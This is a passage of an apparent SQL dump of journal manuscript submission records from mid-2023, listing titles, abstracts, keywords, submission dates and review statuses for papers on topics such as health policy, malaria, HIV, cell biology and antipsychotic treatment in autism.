fundamental principles underlying these rights, their legal and ethical foundations, and the challenges and opportunities in realizing them in diverse socio-political contexts. The abstract concludes by emphasizing the importance of collective efforts to safeguard and uphold human health rights for the well-being of all individuals and communities.','human rights, health rights, access to healthcare, well-being, social justice, health inequalities, essential medicines, clean water, sanitation, safe environment.',3282,NULL,'2023-07-18',NULL,'Submitted',2,NULL,'2023-07-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13936,13852,971,0,'ipaclr-23-13936','Interpreting Lab Findings: A Concise Guide for Healthcare Professionals',NULL,17,0,'','Laboratory services play an integral role in the healthcare system - from primary- through to tertiary-level care since diagnostic tests can either confirm or exclude a tentative diagnosis, or screen for potential diseases. The underlying purpose of laboratory testing lies in the association between laboratory test results and the potential to improve a patient’s health status. This requires ordering a test when appropriate and necessary, accurate interpretation, and acting upon the result.','Laboratory services, Healthcare system, laboratory test, Healthcare Providers, Clinical context.',59073,NULL,'2023-07-19',NULL,'Submitted',2,NULL,'2023-08-09',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13937,13853,971,0,'ipaclr-23-13937','Clinical Chemistry in Pharmacokinetic Monitoring and Therapeutic Drug Optimization',NULL,13,0,'','Clinical laboratory chemistry is a branch of medical science that focuses on the analysis of body fluids and tissues to aid in the diagnosis, monitoring, and management of diseases. It involves a wide range of methods and techniques for the detection, measurement, and interpretation of various chemical components in biological specimens, such as blood, urine, cerebrospinal fluid, and others. Clinical laboratory chemistry plays a critical role in modern healthcare, providing valuable information to clinicians for the diagnosis and treatment of patients.','Clinical laboratory, Chemistry, Biological specimens, Blood, Urine, Cerebrospinal fluid, Treatment.',59074,NULL,'2023-07-19',NULL,'Submitted',2,NULL,'2023-08-02',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13938,13854,971,0,'ipaclr-23-13938','The Transformational Impact of Genetics and Genomics in Rare Disease Medicine',NULL,3,0,'','Medical genetics and genomics is an important field of medicine that involves the study of genetic factors in human health and disease. It encompasses a range of disciplines, including clinical genetics, molecular genetics, cytogenetic, and genomics. Health professionals, such as physicians, nurses, and genetic counsellors, play a critical role in this field by helping patients understand the role of genetics in their health and providing appropriate counselling and care.','Medical genetics, Genomics, Human health, Diagnosis, Genetic.',59075,NULL,'2023-07-19',NULL,'Submitted',2,NULL,'2023-08-02',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13939,13861,971,0,'ipaclr-23-13939','Unravelling the Complexities: Advancements and Future Prospects in Drug Development for the Nervous System',NULL,25,0,'','Clinical drug development is the process of bringing a new medication or therapy from the laboratory to the patient. It involves a series of phases that test the safety and efficacy of the drug in humans, as well as its potential side effects. The first phase of clinical drug development is typically done on a small group of healthy volunteers to determine the safety and dosage of the drug. This is followed by phase II, which involves a larger group of people with the condition the drug is intended to treat, to test its efficacy and optimal dosage.','Clinical drug, Therapy, Medication, Side effects, Sensory perception, Effective drugs.',59077,NULL,'2023-07-19',NULL,'Submitted',2,NULL,'2023-08-02',NULL,1,1,'1','aceepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13940,13855,971,0,'ipaclr-23-13940','Immune Evasion Mechanisms used by Plasmodium and the Immunopathogenesis of Malaria',NULL,11,0,'','Malaria is a parasitic disease caused by the Plasmodium species, transmitted by the female Anopheles mosquito. It remains a significant public health issue, with an estimated 229 million cases and 409,000 deaths worldwide in 2019. The immune response to Plasmodium infection is complex, involving both innate and adaptive immune mechanisms. In this essay, we will discuss the immunology and immunopathogenesis of malaria, including the immune response to infection, the role of immune evasion strategies employed by the parasite and how these factors contribute to the development of disease','Malaria, Parasitic disease, Plasmodium infection, Immunopathogenesis, Immune mechanisms',59078,NULL,'2023-07-19',NULL,'Submitted',2,NULL,'2023-08-02',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13941,14026,975,0,'ipjbs-23-13941','Vascular Auto regulation: The Marvellous Self-Regulating Mechanism of Blood Flow',NULL,6,0,'','The human body relies on an intricate system to maintain a constant supply of oxygen and nutrients to vital organs and tissues. One such mechanism, vascular autoregulation, ensures that blood flow to critical organs remains relatively stable despite fluctuations in blood pressure. This article explores the fascinating world of vascular auto regulation, uncovering the mechanisms that enable our body to maintain tissue perfusion and protect against adverse effects of varying blood pressure. Through the myogenic, metabolic, endothelial, and neural mechanisms, the body adeptly adjusts blood flow to meet the specific demands of each tissue. Understanding the significance of vascular autoregulation has significant clinical implications, allowing for better management of conditions like hypertension, heart failure, and traumatic injuries affecting blood flow. This self-regulating marvel exemplifies the ingenuity of the human body\'s design, ensuring optimal organ function under diverse physiological conditions','Blood flow, Blood pressure, Cardio-vascular system',5410,NULL,'2023-07-19',NULL,'Submitted',2,NULL,'2023-08-05',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13942,14027,975,0,'ipjbs-23-13942','Neuroscience: Unravelling the Mysteries of the Brain and Its Expansive Scope',NULL,6,0,'','Neuroscience, the scientific exploration of the nervous system, has emerged as a multidisciplinary field with profound implications for our understanding of the brain and human cognition. From its historical origins to recent technological advancements, neuroscience has rapidly evolved, unveiling the complex workings of the brain at various levels of analysis. This abstract provides an overview of neuroscience\'s scope, encompassing brain structure and function, cognitive processes, neuroplasticity, neurodevelopmental disorders, neurodegenerative diseases, brain-machine interfaces, neurotics, and the neurobiology of emotions and mental health. As technology continues to advance, neuroscience\'s future promises even greater insights into the nature of the mind and consciousness, offering potential transformative applications in medicine, psychology, and society as a whole.','Neuroscience, Neuroplasticity, Brain function, Neural circuits',5410,NULL,'2023-07-19',NULL,'Submitted',2,NULL,'2023-08-05',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13943,14028,975,0,'ipjbs-23-13943','Protein Science: Unraveling the Building Blocks of Life',NULL,19,0,'','Protein science stands as a captivating interdisciplinary field that explores the intricate world of proteins, the fundamental building blocks of life. Proteins, composed of specific sequences of amino acids, exhibit diverse structures and functions that govern critical biological processes. This abstract provides an overview of protein science, encompassing methodologies, applications, and its profound impact on various industries.\r\nThe study of protein structure, conducted through cutting-edge techniques like X-ray crystallography, NMR spectroscopy, and cryo-electron microscopy, unravels the secrets of their 3D arrangement, revealing vital insights into their functions. Protein folding, a crucial process ensuring proper functionality, and the consequences of misfolded proteins, which are implicated in debilitating diseases, constitute a significant focus of research in this domain.\r\nProtein-protein interactions elucidate intricate signaling pathways and regulatory mechanisms within cells. Utilizing techniques such as yeast two-hybrid assays, co-immunoprecipitation, and FRET, researchers delve into the dynamic relationships between proteins, illuminating the inner workings of life\'s molecular machinery. The practical applications of protein science are vast. In drug discovery, understanding protein structures facilitates the development of targeted therapies, paving the way for personalized medicine. Biopharmaceuticals, produced using living cells to express complex proteins, offer highly specific treatments for various diseases. Additionally, protein science influences agriculture and food production, enabling the improvement of crop yields, disease resistance, and nutritional quality. The field\'s impact also extends to enzyme engineering, optimizing industrial processes through the design of specialized enzymes. Through structural bioinformatics, computational methods predict protein structure and function, expediting the identification of new proteins and their potential applications. The culmination of these efforts has profound implications for human health, agriculture, biotechnology, and environmental sustainability. Protein science continues to advance with technology, promising even greater revelations in the coming years. Its pivotal role in shaping healthcare, industry, and our understanding of life itself solidifies its place as a cornerstone of modern scientific inquiry.','Protein Science, Proteins, Amino Acids, Protein Structure, Protein Folding, Protein-Protein Interactions.',5410,NULL,'2023-07-19',NULL,'Submitted',2,NULL,'2023-08-05',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13944,13712,85,0,'iphspr-23-13944','Revolutionizing Healthcare Delivery: The Future of Patient-Centric Care',NULL,5,0,'','Healthcare delivery is a complex and multifaceted process that encompasses the organization, management, and provision of healthcare services to individuals and communities. This abstract provides an overview of the key aspects of healthcare delivery, including access to care, quality of care, and cost-effectiveness. It highlights the challenges and opportunities in healthcare delivery, such as technological advancements, changing demographics, and evolving healthcare policies. The abstract emphasizes the importance of interdisciplinary collaboration, patient-centered care, and evidence-based practices in improving healthcare delivery outcomes. Additionally, it discusses the role of healthcare providers, policymakers, and healthcare systems in addressing the various issues and ensuring the delivery of accessible, efficient, and high-quality healthcare services.\r\nHealthcare delivery plays a critical role in ensuring the well-being and quality of life for individuals and populations. It encompasses a wide range of services, including preventive care, diagnostics, treatment, and ongoing management of health conditions. The effectiveness and efficiency of healthcare delivery significantly impact the overall health outcomes and experiences of patients. This abstract provides an overview of healthcare delivery, highlighting its importance, key components, challenges, and potential solutions. It aims to shed light on the complex nature of healthcare delivery and stimulate discussions on improving healthcare systems worldwide.','healthcare delivery, access to care, quality of care, cost-effectiveness, interdisciplinary collaboration, patient-centered care, evidence-based practices, healthcare providers, healthcare policies, healthcare systems.',3282,NULL,'2023-07-19',NULL,'Submitted',2,NULL,'2023-07-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13945,13712,85,0,'iphspr-23-13945','Shaping the Future of Health: A Comprehensive Analysis of Health Policy',NULL,5,0,'','Health policy refers to the decisions, plans, and actions undertaken by governments, organizations, and stakeholders to address and improve the health and well-being of individuals and populations. It encompasses a wide range of areas, including healthcare delivery systems, financing mechanisms, health workforce planning, public health interventions, and regulatory frameworks. Health policy aims to achieve equitable access to quality healthcare services, promote disease prevention and health promotion, and ensure the efficient and effective use of resources. This abstract provides an overview of the concept of health policy and its importance in shaping the health systems and outcomes of a society.','Health, Health Policy, organizations, public health',2141,NULL,'2023-07-19',NULL,'Submitted',2,NULL,'2023-07-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13946,13712,85,0,'iphspr-23-13946','Health Services Research: Improving Healthcare Delivery and Outcomes',NULL,5,0,'','Health services research is a multidisciplinary field that investigates the delivery, organization, and effectiveness of healthcare services. It aims to improve the quality, efficiency, and equity of healthcare by examining various aspects of healthcare systems, including healthcare policy, healthcare delivery models, healthcare outcomes, and healthcare utilization. This abstract provides an overview of health services research, highlighting its importance in informing evidence-based decision-making, identifying gaps in healthcare delivery, and guiding healthcare system improvements. It emphasizes the key role of health services research in enhancing patient-centered care, reducing healthcare costs, and promoting health equity. The abstract also highlights the need for collaboration among researchers, healthcare providers, policymakers, and other stakeholders to address the complex challenges faced by healthcare systems.','Health Services Research, Healthcare, policymakers, stakeholders',3282,NULL,'2023-07-19',NULL,'Submitted',2,NULL,'2023-07-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13947,13712,85,0,'iphspr-23-13947','Promoting Community Health: Building Stronger and Healthier Societies',NULL,5,0,'','Community health is a vital aspect of public health, focusing on the well-being of a specific group of individuals within a defined community. This abstract highlights the significance of community health in promoting the overall health and quality of life of individuals and societies. By addressing key components such as healthcare access, health education, preventative care, environmental health, and social support networks, community health initiatives aim to prevent diseases, reduce health disparities, and foster healthier lifestyles. The abstract also emphasizes the challenges faced by community health efforts, such as limited resources and health disparities, and presents effective strategies, including community engagement, public-private partnerships, and technology integration, to promote community health. A strong focus on community health is essential for building resilient and thriving communities, where individuals can lead healthier, more fulfilling lives.','Community Health, Well-being, Collective Health, Preventive Care, Healthcare Access, Social Support Networks, Health Education, Environmental Health, Health Promotion , Public Health,  Health Disparities Community Engagement, Mental Health Support, Social Determinants of Health, Health Literacy, Sustainable Development, Health Equity,  Public-Private Partnerships, Telemedicine and Technology, Policy Changes.',3242,NULL,'2023-07-19',NULL,'Submitted',2,NULL,'2023-07-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13948,14029,73,0,'ipjnn-23-13948','Thermo-TRPs Contribution to Thermosensation: A Commentary',NULL,3,1,'Neurodegenerative Disorders','','',9309,NULL,'2023-07-20',NULL,'Submitted',2,NULL,'2023-08-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13949,14030,73,0,'ipjnn-23-13949','A Commentary on Resource Sharedness between Language and Music Processing: An ERP Study','',3,1,'Neurodegenerative Disorders','','',9265,'','2023-07-20',NULL,'Submitted',2,0,'2023-08-26','',1,1,'1','Accepted',0,'','',0,0,0,0,NULL,0),(13950,14031,45,0,'iphsj-23-13950','Understanding the Potential Impact of Throat Bacteria in the Transmission of Rheumatic Heart Disease in Indigenous Children',NULL,5,0,'','Rheumatic heart disease (RHD) is a preventable yet devastating condition that disproportionately affects Indigenous children in various regions across the globe. Although the exact etiology of RHD remains multifactorial, there is growing evidence suggesting that certain throat bacteria, particularly Streptococcus pyogenes (Group A Streptococcus), may play a crucial role in disease transmission and pathogenesis. This research article aims to review existing literature and explore the possible link between throat bacteria and the spread of RHD in Indigenous children. By understanding the potential mechanisms of bacterial transmission and the factors contributing to the high burden of RHD in these communities, we hope to pave the way for targeted prevention and intervention strategies','Rheumatic heart disease, Indigenous children, Group A Streptococcus, throat bacteria, disease transmission, prevention.',643,NULL,'2023-07-20',NULL,'Submitted',2,NULL,'2023-07-29',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13951,13712,85,0,'iphspr-23-13951','Advancing Healthcare: Challenges, Innovations, and Future Prospects',NULL,5,0,'','Healthcare is a vital aspect of human society, encompassing the prevention, diagnosis, treatment, and management of illnesses and injuries. This abstract provides an overview of the challenges faced by the healthcare sector, as well as the innovative solutions that have emerged to address these issues. The article explores key advancements such as telemedicine, precision medicine, artificial intelligence, and wearable devices. It also discusses the future prospects of healthcare, including the integration of big data, immunotherapies, and global health initiatives. By examining the evolving landscape of healthcare, this abstract highlights the potential for a brighter and healthier future for individuals and communities worldwide.','Healthcare, Challenges, Innovations, Telemedicine, Precision medicine, Artificial intelligence, Wearable devices, Big data, Immunotherapies, Global health.',3242,NULL,'2023-07-20',NULL,'Submitted',2,NULL,'2023-07-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13952,13711,85,0,'iphspr-23-13952','A Comprehensive Overview of Health Policy: Building a Healthier Future',NULL,5,2,'','Health policy plays a crucial role in shaping the well-being of individuals, communities, and nations. It encompasses a range of decisions, plans, and actions that promote healthcare accessibility, affordability, disease prevention, and public health initiatives. This article provides a comprehensive overview of health policy, highlighting its importance in building a healthier future. It explores the key components of health policy, including healthcare access, quality, and workforce, along with challenges such as funding and disparities. The abstract also identifies opportunities for progress, such as preventive healthcare focus and public-private partnerships. Through evidence-based decisions and collaborative efforts, health policies can address global health challenges and foster a more inclusive and prosperous society.','Health policy, healthcare access, disease prevention, healthcare quality, healthcare workforce, disparities, public health, preventive healthcare, global health, evidence-based decisions.',3404,NULL,'2023-07-20',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13953,14032,45,0,'iphsj-23-13953','Life constraints and self- management strategies of older people living with chronic illness. A qualitative study',NULL,5,0,'','Background: Living with a chronic disease involves a variety of daily life limitations that severely affect people in their daily life. Identifying and promoting self-management strategies may improve health outcomes and increase individuals’ autonomy. The aim of the present study was to explore the views and perceptions of older people who experience a chronic condition, concerning daily life constraints and self-management strategies. \r\nMethod: A qualitative research design based on inductive content analysis approach was applied. A purposive sampling technique was used for recruiting the study participants.  Data was collected through semi-structured interviews which conducted in 21 individuals living with chronic illnesses such as diabetes mellitus type 2, chronic obstructive pulmonary disease and heart failure. \r\nFindings: Two main-categories were occured from content analysis, namely “Limitations of daily life” and “Disease Management”. Five subcategories were formed and assigned respectively to each main category. Physical restrictions and negative feelings were referred to as daily burdens, while scheduling and self-care, supporting environment and technology were related to disease management.\r\nConclusion: Improving care through empowerment interventions for individuals with chronic conditions is important for sustaining a good health status and promote quality of life. Information, training and provision of digital literacy may increase individuals\' self-efficacy in managing their chronic illness','chronic illness, diabetes mellitus, chronic obstructive pulmonary disease, heart failure, self-management, life constraints, older people, empowerment, quality care, qualitative study',685,NULL,'2023-07-20',NULL,'Submitted',2,NULL,'2023-07-25',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13955,14033,251,0,'ipacm-23-13955','Understanding Fungal Infections: Causes, Symptoms, and Treatment',NULL,25,2,'','Fungal infections, also known as mycoses, pose a significant burden on global health, affecting individuals of all ages and geographical locations. Fungi are ubiquitous in the environment, and their ability to infect humans is influenced by various factors such as host immunity, fungal virulence, and environmental conditions. Fungal infections can manifest in diverse forms, ranging from superficial skin and nail infections to invasive systemic diseases with potentially life-threatening consequences. This abstract provides an overview of fungal infections, highlighting their epidemiology, pathogenesis, clinical presentations, diagnostic approaches, and treatment modalities. Fungal infections are caused by a diverse range of fungal species, including yeasts, molds, and dimorphic fungi. Candida species are among the most common causative agents of superficial and invasive fungal infections, particularly in immunocompromised individuals. Aspergillus, Cryptococcus, Histoplasma, and Blastomyces are examples of other clinically important fungal pathogens.\r\nThe clinical presentation of fungal infections can vary depending on the site of infection, host factors, and the pathogenicity of the infecting organism. Superficial fungal infections primarily affect the skin, hair, and nails, causing conditions such as dermatophytosis, candidiasis, and pityriasis versicolor. Invasive fungal infections may target various organs and systems, including the respiratory tract, central nervous system, bloodstream, and gastrointestinal tract. These infections often present with non-specific symptoms, making diagnosis challenging.\\','Fungal infections; Mycoses; Fungi;, Skin infections; Nail infections; Hair infections; Internal fungal infections; Causes of fungal infections; Symptoms of fungal infections; Treatment of fungal infections',782,NULL,'2023-07-21',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13956,14034,975,0,'ipjbs-23-13956','Unveiling the Intricate Symphony: Understanding Heart Mechanics',NULL,19,0,'','The human heart, often referred to as the \"engine of life,\" operates through a complex system of physiological processes known as heart mechanics. This article explores the captivating world of heart mechanics, shedding light on how this remarkable organ functions and adapts to meet the body\'s demands. From the heart\'s anatomy, encompassing its four chambers and specialized conduction system, to the cardiac cycle\'s intricacies, comprising systole and diastole, the rhythmic beat of the heart is governed by a balance between the sympathetic and parasympathetic nervous systems. The heart\'s adaptability is evident in its response to regular exercise and its vulnerability to age, diet, and overall health. Understanding the mechanics of the heart emphasizes the importance of maintaining a heart-healthy lifestyle to ensure this awe-inspiring organ continues to pump life throughout our bodies for years to come.','Human heart; Anatomy of the heart; Systole; Diastole',5410,NULL,'2023-07-21',NULL,'Submitted',2,NULL,'2023-08-05',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13957,14035,975,0,'ipjbs-23-13957','Biochemical Engineering: Bridging Biology and Engineering for a Sustainable Future',NULL,15,0,'','Biochemical engineering, an interdisciplinary field at the crossroads of biology and engineering, holds significant promise for addressing global challenges and driving sustainable solutions. This article explores the fundamental concepts and applications of biochemical engineering, highlighting its role in bioprocess engineering, metabolic engineering, and the integration of bioinformatics and systems biology. The field\'s applications range from pharmaceuticals to environmental protection, bioenergy production, and the development of bioplastics and bio-based materials. Despite the remarkable potential, biochemical engineering faces challenges in scaling up processes to industrial levels. However, with the integration of synthetic biology and computational tools, the future of biochemical engineering appears bright, poised to revolutionize industries and pave the way for a greener, more sustainable future.','Biochemical Engineering; Biology; Engineering; Sustainable Solutions',5410,NULL,'2023-07-21',NULL,'Submitted',2,NULL,'2023-08-05',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13958,14036,975,0,'ipjbs-23-13958','Biomedical Ultrasound: Illuminating the Inner World of Medicine',NULL,6,0,'','Biomedical ultrasound has emerged as a revolutionary and indispensable tool in modern healthcare. This article explores the principles, techniques, and applications of ultrasound in the medical field. Biomedical ultrasound utilizes high-frequency sound waves to generate real-time images of internal structures and tissues by analysing reflected waves. Various ultrasound imaging techniques, including 2D, 3D, and Doppler ultrasound, finds applications in obstetrics, radiology, cardiology, emergency medicine, oncology, and rehabilitation. The advantages of biomedical ultrasound lie in its non-invasiveness, real-time imaging, and absence of ionizing radiation, making it safe and patient-friendly. However, its limitations arise from its inability to penetrate dense bone or air-filled structures. As research and technology continue to evolve, biomedical ultrasound promises to play an increasingly pivotal role in enhancing diagnostic and therapeutic practices, illuminating the path towards better healthcare outcomes.','Biomedical ultrasound; Ultrasound imaging; Medical ultrasound; High-frequency sound waves',5410,NULL,'2023-07-21',NULL,'Submitted',2,NULL,'2023-08-05',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13959,14037,975,0,'ipjbs-23-13959','Cell Biology: Unraveling the Mysteries of Life\'s Fundamental Unit',NULL,5,0,'','Cell biology is a captivating and foundational field of scientific inquiry that explores the fundamental unit of life - the cell. Dating back to the 17th century, the discovery of cells by early microscopists and the subsequent formulation of the cell theory revolutionized biology, leading to our current understanding of cellular structure and function. Cells exist in diverse forms, ranging from prokaryotic to eukaryotic, each with unique characteristics and organelles that govern essential cellular processes.\r\nThis abstract provides an overview of the structure and functions of cells, including energy production, protein synthesis, cellular transport, and cell division. It highlights the significance of cell biology in medical research, where it has paved the way for understanding and treating diseases, offering potential breakthroughs in areas like cancer, neurodegenerative disorders, and genetic conditions.\r\nMoreover, the abstract emphasizes the growing importance of stem cell research, a subfield of cell biology, which explores the regenerative potential of undifferentiated cells and their application in regenerative medicine.\r\nAs technology continues to advance, the study of cell biology holds promise for ground-breaking discoveries and transformative applications in biotechnology and medicine. With each revelation, we come closer to unraveling the complex machinery that sustains life, making strides towards understanding the mysteries of existence at its most basic level. Cell biology remains a critical and fascinating field that has the potential to unlock the secrets of life\'s building blocks.','Cell biology; cells; cell theory; microscopes; eukaryotic cells; prokaryotic cells.',5410,NULL,'2023-07-21',NULL,'Submitted',2,NULL,'2023-08-05',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13960,14039,91,0,'ijddr-23-13960','SCIENTIFIC SUPPORT FOR TRADITIONAL KNOWLEDGE IN RELATION TO THE SIGNIFICANCE OF HERBS IN LITHIASIS',NULL,14,0,'','Herbal medicine has been described as the oldest form of therapy practiced by mankind, with archaeological evidence dating back 60,000 years. The ability of plants to survive hostile conditions may have contributed to their long survival. Because of this extended survival and constant fight for billions of years, these building blocks of life have progressively evolved to their current incarnation through the process of evolution. Plants have highly developed molecular recognition properties, which are now recognised in the practice known as Ayurveda. Herbal plants have grown and developed in such a way that they outperform their allopathic counterparts (pharmaceutical drugs). Ayurvedic characteristics. This has captivated the interest of scientists working on next-generation anti-treatments, which are derived from a wide range of natural resources, including plant leaves, bark, berries, flowers, and roots. The amazing references and treatises on herbal treatments that have been available in India cite the works of Dhanwantari, Nagarjun, Sushrut, and others, along with hundreds of independent treatises and treatises that have been written by practitioners for more than a thousand years. The ability of a few rare plants to thrive on the meagre quantity of soil that forms on or between stones is one of their most intriguing Lithiasis medications. Various ayurvedic medications, both aromatic and non-aromatic, are said to offer potential for treating lithiasis, according to Ayurveda. The validity of this ayurvedic assertion has recently been demonstrated by numerous scientific studies. This review paper is an attempt to compile all the scientific understanding of plants used for anti-lithiasis studies. We believe that this article will be advantageous for those wishing to work in the area of anti-lithiasis research.','herbal medicine, building blocks of life, process of evolution, molecular recognition, treatises, ayurveda, lithiasis etc',3391,NULL,'2023-07-21',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'0','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(13961,13043,86,0,'ipaom-23-13961','“Improving efficiency in healthcare: Effects of deploying electronic claims management system on the implementation of a sub-national health insurance schemes in Anambra state, Nigeria”',NULL,14,0,'','Objective: As healthcare becomes increasingly important to the economic and social development of any nation, the problems healthcare providers face in terms of efficiency and speed of service delivery need to be addressed. By deploying an electronic claims management system, these issues can be resolved, leading to improved efficiency in healthcare. This study examines the effects of deploying an electronic claims management system on the implementation of a sub-national health insurance scheme in Anambra State (ASHIS), Nigeria.\r\nMethods: A qualitative study was conducted in Anambra state, Nigeria. Data were collected from stakeholders- health insurance managers and ASHIS-accredited healthcare providers- who play critical roles in claims management. Twenty in-depth interviews were conducted with the stakeholders to explore their experience and the effectiveness of the electronic claims management system. Data were analysed using a thematic approach.\r\nResults: Manual claims management was stated to be cumbersome, time-consuming and error-prone. The analysis revealed that the implementation of the electronic claims management system increased the efficiency of the ASHIS in terms of speed, accuracy, transparency, convenience and cost savings. Furthermore, the system also resulted in greater customer satisfaction among health service users. However, few respondents claimed that poor internet connectivity often challenges the process. \r\nConclusion: The study highlights the importance of deploying electronic claims management systems in providing efficient healthcare services, hence, the need to ensure its sustainability.','Anambra State Health Insurance Scheme, Claims, E-claims Management System, Reimbursement',1639,NULL,'2023-07-22',NULL,'Submitted',2,NULL,'2023-09-11',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13962,14040,73,0,'ipjnn-23-13962','Comparison of Risperidone and Aripiprazole  for the Treatment of Irritability Associated with Autism Spectrum Disorder',NULL,14,2,'','ABSTRACT\r\n\r\nBackground \r\n\r\nAutism spectrum disorder (ASD) is a complex neurodevelopmental disorder with high heterogeneity. While the symptoms of ASD can manifest before 2 years of age, they usually become more apparent between 2 and 3 years of age. Patients with ASD are all unique in their presentation; however, the disorder is characterized by core symptoms that include impairments in social interaction and communication, as well as the presence of restricted and repetitive behaviors.  Risperidone and aripiprazole are most commonly used drugs for the treatment of irritability and aggressive behaviour in children with autism spectrum disorder. However, there are no approved medications for the treatment of autism spectrum disorder (ASD) to reduce the core signs and symptoms. Nevertheless, early intervention is recognized as key to improving long term outcomes. \r\n\r\nObjective: To compare the efficacy and safety of risperidone and aripiprazole for the management of core symptoms of children with ASD.\r\n\r\nMaterial and Methods\r\n\r\nThis prospective interventional study was conducted in Institute of Pediatric Neuro-disorder and Autism (IPNA) & Department of Paediatric Neurology, Bangabandhu Sheikh Mujib Medical University, Dhaka from October 2019 to September 2020.\r\nChildren age 3 to 6 years, who fulfilled the diagnostic criteria of ASD according to the fifth edition of the Diagnostic and Statistical Manual of Mental Disorders (DSM-V) were included in this study. The study populations were divided into two groups: Group I-children on risperidone and Group II-children on aripiprazole. After getting informed written consent from the parents, the study subjects, (group-1) & (group-II) were treated with risperidone and aripiprazole respectively. At the beginning of the treatment, all ASD children were assessed clinically and then ASD diagnostic tool, Autism Diagnostic Checklist (ADCL) were administered to see the behavior score of children. Treatment were initiated with 0.25 mg risperidone once daily, increased by 0.25 mg weekly, to a maximum dose 2 mg/day in group I children, or 2.5 mg aripiprazole, increased by 2.5 mg weekly, to a maximum dose of 10 mg/day in group II children. Treatment was continued for up to two weeks  then at 2nd, 4th, and 8th weeks of treatment, ADCL were readministered to see the behavior score of autistic children. Subsequently two ADCL reports were compared. \r\n\r\nResults\r\n\r\nIn this study, the mean age was 3.96±1.7 years in risperidone group and 3.55±0.98 years in aripiprazole group. Majority (96.0%) child were male in risperidon group and 84.0% in aripiprazole group. Almost two third (64.0%) fathers education level was bachelor degree and above in risperidon group and 18(72.0%) in aripiprazole group. Almost half (44.0%) mothers education level was bachelor degree and above in risperidon group and 13(52.0%) in aripiprazole group. Almost one third (32.0%) fathers were non-govt. service both groups. Majority (96.0%) mothers were housewife in risperidone group and 22(88.0%) in aripiprazole group. After treatment ADCL score were decreased almost two third (64.0%) of the study subjects in risperidon group and 11(44.0%) in aripiprazole group. Almost three fourth (72.0%) subjects had partial response in risperidon group and 8(32.0%) in aripiprazole group. It was observed that three (12.0%) subjects had increased sleepiness in risperidone group and 12(48.0%) in aripiprazole group. Five (20.0%) subjects had increased appetite in risperidon group. Almost three fourth (72.0%) subjects had reduced hyperactivity in risperidon group and 9(36.0%) in aripiprazole group. 	\r\n\r\nConclusion: The core symptoms of ASD reduced  almost three fourth subjects such as improve sleep, reduced hyperactivity, and increased attention in the risperidone group which is much higher  than aripiprazole  group. It was statistically significant (p>0.05) Majority subjects had increased appetite in risperidone group and increased  sleepiness in the aripiprazole group and It was also statistically significant (p>0.05) .','ASD, risperidone, aripiprazole, irritability',59079,NULL,'2023-07-22',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,1,'0','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13963,14041,251,0,'ipacm-23-13963','Human Immunodeficiency Virus (HIV): Understanding the Virus, Progress, and Challenges ',NULL,25,2,'','Human Immunodeficiency Virus (HIV) is a retrovirus that primarily infects human immune cells, leading to the development of Acquired Immunodeficiency Syndrome (AIDS). Since its identification in the early 1980s, HIV has become a major global health concern, with an estimated 38 million people living with the virus worldwide. The virus is primarily transmitted through sexual contact, blood-to-blood contact, and from mother to child during childbirth or breastfeeding. HIV infection weakens the immune system by targeting CD4+ T cells, impairing the body\'s ability to fight off infections and diseases. This abstract provides an overview of the key aspects of HIV, including its virology, transmission, pathogenesis, clinical manifestations, diagnosis, and treatment. The understanding of HIV has greatly evolved over the years, leading to significant advances in prevention strategies, antiretroviral therapy (ART), and the management of HIV-related complications. Despite these advancements, several challenges remain, including the need for improved access to testing, treatment, and prevention methods, especially in resource-limited settings.','Human Immunodeficiency Virus, HIV, Acquired Immunodeficiency Syndrome, AIDS, retrovirus, immune cells, transmission, CD4+ T cells, virology, pathogenesis, clinical manifestations, diagnosis, treatment, prevention, antiretroviral therapy',787,NULL,'2023-07-22',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13964,14042,251,0,'ipacm-23-13964','Understanding Bacterial Infections: Causes, Symptoms, Treatment, and Prevention',NULL,15,2,'','Bacterial infections are a significant global health concern, leading to a wide range of diseases and morbidity. Understanding the mechanisms by which bacteria invade, colonize, and cause damage to host tissues is crucial for the development of effective prevention strategies and therapeutics. This abstract provides an overview of bacterial infections, highlighting key aspects such as pathogenesis, host immune response, and current approaches to diagnosis and treatment. It discusses the importance of antimicrobial resistance and the need for novel antimicrobial agents. Furthermore, emerging technologies and research areas, such as the use of bacteriophages and microbiota-based therapies, are explored as potential 